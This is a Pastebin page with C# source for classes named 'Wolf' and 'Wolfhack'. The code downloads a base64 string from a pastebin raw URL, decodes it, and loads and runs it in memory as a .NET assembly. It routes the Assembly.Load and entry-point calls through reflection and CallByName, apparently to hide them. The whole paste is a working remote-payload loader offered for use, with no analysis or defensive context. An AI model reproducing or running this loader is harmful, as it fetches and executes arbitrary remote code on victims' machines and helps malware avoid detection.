Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Net;
- using System.Reflection;
- using Microsoft.VisualBasic;
- public class Wolf
- {
- public void hack(byte[] a)
- {
- ((MethodInfo)((PropertyInfo)Interaction.CallByName(Type.GetType("System.Reflection.Assembly") ?? throw new InvalidOperationException(),
- "GetProperty", CallType.Get, "EntryPoint")).GetValue((Assembly)((MethodInfo)Interaction
- .CallByName(Type.GetType("System.Reflection.Assembly") ?? throw new InvalidOperationException(), "GetMethod", CallType.Method, "Load",
- new[] { typeof(byte[]) })).Invoke(null, new object[] { a }), null)).Invoke(null, null);
- }
- }
- public class Wolfhack
- {
- public static void Main()
- {
- WebClient client = new WebClient();
- string reply = client.DownloadString("https://pastebin.com/raw/B6h7W8it");
- Type.GetType("Wolf")?.GetMethod("hack")?.Invoke(Type.GetType("Wolf")
- ?.GetConstructor(Type.EmptyTypes)?.Invoke(new object[] { }),
- new[] { Type.GetType("System.Convert")?.GetMethod("FromBase64String", new[] { typeof(string) })?.Invoke(null, new object[] { reply }) });
- }
- }
Add Comment
Please, Sign In to add comment